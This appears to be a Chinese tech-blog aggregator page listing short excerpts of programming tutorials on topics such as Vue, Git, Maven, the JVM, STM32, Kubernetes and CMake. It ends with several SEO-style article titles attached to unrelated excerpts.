Vue 3 的 reactive 是基于 JavaScript 的 Proxy 实现的,因此它通过代理机制来拦截对象的操作,从而实现响应式数据的追踪。下面是 Vue 3 的 reactive 源码简化版。 Vue 3 reactive 源码简化版 首先,我们需要了解 reactive 是如何工作的&…...
git的使用(简洁版)
什么是 Git? Git 是一个分布式版本控制系统 (DVCS),用于跟踪文件的更改并协调多人之间的工作。它由 Linus Torvalds 在 2005 年创建,最初是为了管理 Linux 内核的开发。Git 的主要目标是提供高效、易用的版本控制工具,使得开发者…...
使用命令行创建 Maven 项目
本指南将引导您通过命令行创建一个简单的 Maven 项目。本教程假设您已经在您的机器上安装了 Maven 和 JDK 21。 第一步:验证 Maven 和 Java 安装 在开始之前,我们需要验证 Maven 和 Java 是否已正确安装在您的系统上。 验证 Maven 安装 打开命令行终…...
JVM_栈详解一
1、栈的存储单位 **栈中存储什么?**, 每个线程都有自己的栈,栈中的数据都是以栈帧(Stack Frame)的格式存在。在这个线程上正在执行的每个方法都各自对应一个栈帧(Stack Frame)。 栈帧是一个内存…...
Linux 金仓数据库安装和使用
文章目录 Linux 金仓数据库安装和简单使用 一、下载二、安装三、启动法1. 通用启动方式法2. 系统服务启动方式 四、测试五、DB管理工具1. 启动DB管理工具2. DB管理工具的常用功能 六、卸载 Linux 金仓数据库安装和简单使用 一、下载 打开官网 https://www.kingbase.com.cn/xzz…...
STM32笔记(串口IAP升级)
一、IAP简介 IAP(In Application Programming)即在应用编程, IAP 是用户自己的程序在运行过程中对 User Flash 的部分区域进行烧写,目的是为了在产品发布后可以方便地通过预留的通信口对产 品中的固件程序进行更新升级。 通常实…...
C++网络编程:select IO多路复用及TCP服务器开发
C网络编程:使用select实现IO多路复用 一、什么是 IO 多路复用?二、IO多路复用器 select三、相关接口3.1、fd_set 结构体3.2、宏和函数 四、select 实现 TCP 服务器五、总结 一、什么是 IO 多路复用? 在网络编程中,最容易想到的并…...
部署 L2JMobius 天堂2芙蕾雅版本
首先下载所需要的服务器端 “L2J_Mobius.zip” 和芙蕾雅客户端(三个压缩文件), 我的网盘下载:https://pan.baidu.com/s/1XdlcCFPvXnzfwFoVK7Sn7Q?pwdavd4 所有文件都在“芙蕾雅”目录下,也可以加入企鹅交流裙 87470…...
C#开发合集
用C#轻松搞定m3u8视频下载与合并 嘿,程序员们!今天咱们来聊聊如何用C#写个小程序,轻松下载和合并m3u8视频文件。没错,就是那种分段的流媒体视频。准备好了吗?让我们开始吧! 准备工作 在动手之前…...
鸿蒙面试 --- 性能优化
性能优化可以从三个方面入手 感知流畅、渲染性能、运行性能 感知流畅 在应用开发中,动画可以为用户界面增添生动、流畅的交互效果,提升用户对应用的好感度。然而,滥用动画也会导致应用性能下降,消耗过多的系统资源,…...
React的基础知识:Context
1. Context 在 React 中,Context 提供了一种通过组件树传递数据的方式,无需手动在每个层级传递 props。这在处理一些全局应用状态时非常有用,比如用户认证、主题、语言偏好等。 如何使用 Context 创建 Context:首先,…...
微知-lspci访问到指定的PCIe设备的几种方式?(lspci -s bus;lspci -d devices)
通过bdf号查看 -s (bus) lspci -s 03:00.0通过vendor id或者device id等设备查看 -d (device) lspci -d 15b3: #这里是vendor号,所以在前面 lspci -d :1021 #这里是设备号,所以要:在前vendorid和deviceid…...
【Kubernetes 集群核心概念:Pod】pod生命周期介绍【五】
5.1 Pod生命周期 Pod的生命周期指的是从Pod创建到终止的整个过程。它分为以下两种常见情况: 长期运行Pod: 例如运行HTTP服务的Pod,它在正常情况下会一直运行,但可以手动删除或终止。短期运行Pod: 例如执行计算任务的…...
c++的虚继承说明、案例、代码
虚继承的基本概念 在 C 中,虚继承主要用于解决多继承时可能出现的菱形继承问题。菱形继承是指一个类有两个(或更多)子类,而这两个子类又同时继承自一个共同的基类,当这些子类又被另一个类继承时,就形成了菱…...
小米PC电脑手机互联互通,小米妙享,小米电脑管家,老款小米笔记本怎么使用,其他品牌笔记本怎么使用,一分钟教会你
说在前面 之前我们体验过妙享中心,里面就有互联互通的全部能力,现在有了小米电脑管家,老款的笔记本竟然用不了,也可以理解,毕竟老款笔记本做系统研发的时候没有预留适配的文件补丁,至于其他品牌的winPC小米…...
介绍SSD硬盘
SSD硬盘(固态硬盘,Solid State Drive)是一种利用闪存技术存储数据的存储设备,与传统的机械硬盘(HDD)不同,SSD没有任何活动部件,因此其性能和耐用性较为优越。以下是SSD硬盘的一些主要…...
CMAKE常用命令详解
NDK List基本用法 Get–获取列表中指定索引的元素 list(Get list_name index output_var)解释 list_name: 要操作集合的名称index: 要取得的元素下标output_var: 保存从集合中取得元素的结果 栗子 list(GET mylist 0 first_element) # 获取第一个元素APPEND–在列表末尾…...
Vue3的通灵之术Teleport
前言 近期Vue3更新了一些新的内容,我都还没有一个一个仔细去看,但是还是有必要去解读一下新内容的。就先从Teleport 开始吧。 官方对 Teleport 的解释是:<Teleport> 是一个内置组件,它可以将一个组件内部的一部分模板“传…...
ue5第三人称闯关游戏学习(一)
视频资料38 - Compilers and Editors_哔哩哔哩_bilibili 上一个第一人称射击项目做完 接下来要更深入学习。 引入资产与C来创建第三人称闯关游戏 这次要引入的资产有两个分别是 Unreal Learning Kit:Game和stylized character kit: casual 01 不过有个比较麻…...
IIC 随机写+多次写 可以控制写几次
verilog module icc_tx#(parameter SIZE 2 , //用来控制写多少次 比如地址是0000 一个地址只能存放8bit数据 超出指针就会到下一个地址0001parameter CLK_DIV 50_000_000 ,parameter SPEED 100_000 ,parameter LED 50 )( input wire c…...
controller中的参数注解@Param @RequestParam和@RequestBody的不同
现在controller中有个方法:(LoginUserRequest是一个用户类对象) PostMapping("/test/phone")public Result validPhone(LoginUserRequest loginUserRequest) {return Result.success(loginUserRequest);}现在讨论Param("login…...
手搓人工智能-最优化算法(1)最速梯度下降法,及推导过程
“Men pass away, but their deeds abide.” 人终有一死,但是他们的业绩将永存。 ——奥古斯坦-路易柯西 目录 前言 简单函数求极值 复杂函数梯度法求极值 泰勒展开 梯度,Nabla算子 Cauchy-Schwarz不等式 梯度下降算法 算法流程 梯度下降法…...
网站建设的基础/网站优化基本技巧
这里主要梳理一下作业的主要内容和思路,完整作业文件可参考: https://github.com/pandenghuang/Andrew-Ng-Deep-Learning-notes/tree/master/assignments/C4W2/Excercise/KerasTutorial 作业完整截图,参考本文结尾:作业完整截图。 Residua…...
wordpress手机主题插件/推广活动策划方案范文
题目大意: 给定一棵n个结点的树 一开始黑方占据1号结点,白方占据n号结点 其他结点都没有颜色 每次黑方可以选择黑色结点临近的未染色结点,染成黑色 白方同理。 最后谁不能走谁输。 题解: 其实简单想想就可以想明白。 黑方肯定要往…...
网站建设陕icp/百度网盘官网入口
k-means算法是一种典型的基于距离的算法,它以距离作为评价相似度的指标。两个对象的距离越近,则相似度也就越大。 其算法步骤如下: 1.随机选取K个聚类中心点。基于这k个中心点计算每个对象到中心点的距离,并将对象划分成其离最短…...
网站正能量免费下载/免费个人主页网站
1.安装setuptools2.yum install -y mysql-devel python-devel gcc否则会报错:command gcc failed with exit status 13.python setup.py install转载于:https://www.cnblogs.com/biboxie/p/4233422.html...
徐州建设工程交易网站质量监督/温州免费建站模板
《CLR Via C#》这本书以前就粗略看过两遍,但一直都没能深入理解,而且很多内容也忘记了,现在准备重新看一遍,并将看过的部分写出来,因为写的过程也是一个加深理解的过程。本系列算是学习的一个记录吧,也可以…...
一个网站怎么做软件好用吗/bt磁力狗
环境搭建 搭建一个jQuery的开发环境非常方便,可以通过下列几个步骤进行。 下载jQuery文件库在jQuery的官方网站(http://jquery.com)中,下载最新版本的jQuery文件库。在网站中找到最新版本文件的下载按钮,将jQuery框架文…...